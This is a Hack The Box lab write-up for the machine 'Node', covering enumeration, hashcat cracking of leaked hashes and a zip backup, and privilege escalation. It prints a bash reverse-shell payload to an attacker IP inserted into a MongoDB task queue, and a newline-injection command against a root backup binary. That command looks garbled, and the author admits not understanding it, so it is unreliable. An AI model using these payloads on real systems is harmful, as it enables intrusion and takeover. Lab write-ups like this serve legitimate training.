# Node

This is my write-up for the machine on Hack The Box called **Node** located at: [https://app.hackthebox.com/machines/Node](https://app.hackthebox.com/machines/Node).

I started off with an nmap scan:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-1e89d484baee3ba3ea4d04caeabee7c230c104e1%2Fimage.png?alt=media)

We see 2 ports open: one for SSH and one for a software known as hadoop-datanode. Port 3000 has a web server running on it:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-909473da1cc7d1290056923f0e0c2d8724f0df41%2Fimage.png?alt=media)

I then ran **dirsearch** using the **directory-list-lowercase-2.3-medium.txt** from the dirbuster wordlist directory to see what folders/files I had access to:

`dirsearch -e php,html,js,cgi,bak,txt -u http://10.10.10.58:3000 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 50`

This showed me the following:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-8e29d5ec87fd53569442ff29cc47ceaa39ba7cbc%2Fimage.png?alt=media)

I read up on [this write-up](https://alamot.github.io/node_writeup/) which pointed me in the direction of using **burpsuite** in order to see requests incoming. I found one that was interesting and followed it:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-c9588476e68fff31510c204bfa4bd3b6a806878e%2Fimage.png?alt=media)

These could be passwords or hashes. I tried the username with the passwords, and this did not work for me. Running the hash for **tom** in **hash-identifier** resulted in the following:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-c46522543fb32dbfc64a2521fe4b69f5f52f64a9%2Fimage.png?alt=media)

Running the other hashes resulted in **SHA-256** as well. Using the [hashcat examples website](https://hashcat.net/wiki/doku.php?id=example_hashes), I then had to find out what the Hash-Mode was:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-1aba3ac247731eaa77af799a962dfe325f0e9f28%2Fimage.png?alt=media)

Running the hashcat command `hashcat -a 0 -m 1400 hashes rockyou.txt` got me the following:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-983a668ed9fe06d90ab6d05f60057e72cc216d67%2Fimage.png?alt=media)

It seems that I have cracked the passwords for the users **tom** and **mark**. When I login using those credentials, I get the same result:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-a200dcd753a9bda71a0ab5fcd0b598537c4a8ed3%2Fimage.png?alt=media)

Reading the same write-up from before, I missed the directory above from where I was located at:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-e51195073ec642b7670d786f907cba3d78a7a999%2Fimage.png?alt=media)

This led me to find a new user: **myP14ceAdm1nAcc0uNT**. I then ran **hashcat** on the new hash (with a new wordlist - not needed, but I just did) and got the following:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-16adf33aca9e3506c2775d88aee4be09521bceca%2Fimage.png?alt=media)

Now we see a different output on the main screen:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-f9687d4b7efb1075e4f2d372ffdbfa188e8986b5%2Fimage.png?alt=media)

Downloading the backup led me to a large ASCII file:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-8617f6dbe53cfe0e265e489aa194e28b21fc0c9f%2Fimage.png?alt=media)

I noticed a "**=**" at the end, so I thought it could be base64. Decoding the file led me to a zip folder where the files were password protected:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-e4542c5d82053960843017e46028baf9d8a78c23%2Fimage.png?alt=media)

Following the write-up mentioned above, I ran the command `cat myplace.backup | base64 -d > backup.zip` in order to make my own zip file. This gave me the same result that I had gotten earlier from using [https://www.base64decode.org/](https://www.base64decode.org/) to decode the content of the document for me. I then uploaded zipped file on [this website](https://www.onlinehashcrack.com/tools-zip-rar-7z-archive-hash-extractor.php) and got the following output:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-149810ea744e73f486be3a383246e82ab66e476a%2Fimage.png?alt=media)

I will go back to the [example hashes site from hashcat](https://hashcat.net/wiki/doku.php?id=example_hashes) to see what mode this would be:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-ad0911be9d5d8d63558f0cc7c17248eeed5ea202%2Fimage.png?alt=media)

I then ran the hashcat command `hashcat -a 0 -m 17230 pkziphash xato-net-10-million-passwords-1000000.txt` to see if I can crack the password:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-00a4edf4052765b2f2a59f62a3dd19a8e2472c7b%2Fimage.png?alt=media)

I was then able to decode the zip by running `unzip backup.zip`. This created a new directory called **var** in my local directory. In a file called **app.js**, I found the following:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-1bb6839c1cc422a170cdac5dc97b622ee7c6c667%2Fimage.png?alt=media)

I was a bit lost about what to do with these credentials, I then read the same write-up again to find out that those credentials would work for **SSH**:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-8f6ab387a2933c180accb8c11385105be8224b93%2Fimage.png?alt=media)

I also learned from the write-up to search for processes being run by tom:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-bb5c2badd1f064517cd2d814926cd9dc093a5538%2Fimage.png?alt=media)

I do not have a lot of experience with mongo commands work. Between the write-up I have been mentioning previously and [this write-up](https://dumbsec.ninja/htb-node-box-writeup.html) for this machine, I ran the following commands:

`mongo localhost:27017/scheduler -u mark -p 5AYRft73VtFpc84k`

`db.tasks.insert({cmd: '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.14/1227 0>&1"'})`

I was then able to get a shell as tom:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-5b71b6fabdafca135663bac74b314c4e7c8cf35f%2Fimage.png?alt=media)

I was then able to read the user.txt:

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-5542f2701def0c2c7aed0b1a8ed81189c32c785f%2Fimage.png?alt=media)

From the second write-up (previously mentioned), I learned about the following command, which got me directly to root using the backup process:

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $'\n /bin/bash \n' <4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $'\n /bin/bash \n'

![](https://3737186621-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MayTgZ_oSfxCsFiprCi%2Fuploads%2Fgit-blob-3d3d2916d7ddad75694085b28ea4fc537450c5de%2Fimage.png?alt=media)

I will be honest. I have been looking at write-ups for this machine and they all seem to use buffer overflows in order to crack the command to get to the root user. I am a bit unsure how the previous command I used to get to root worked. From my understanding, it seems that the backup process was owned by root, and using the backup key, I was able to run the command. Again, not why why this command exactly.
